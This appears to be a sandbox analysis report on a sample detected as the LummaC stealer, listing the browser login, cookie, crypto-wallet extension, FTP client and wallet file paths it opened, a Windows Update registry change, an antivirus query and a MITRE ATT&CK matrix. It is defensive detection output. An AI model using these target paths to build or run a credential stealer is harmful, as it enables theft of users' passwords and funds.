Source: C:\Users\user\AppData\Local\Temp\RFAILPVKEX8W9J53ZEEDEWLBCE6I.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.2182277696.0000000000C03000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2157138603.0000000000BF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3840, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	Boot or Logon Initialization Scripts	1 DLL Side-Loading	41 Disable or Modify Tools	LSASS Memory	761 Security Software Discovery	Remote Desktop Protocol	31 Data from Local System	11 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Bypass User Account Control	361 Virtualization/Sandbox Evasion	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	361 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	223 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
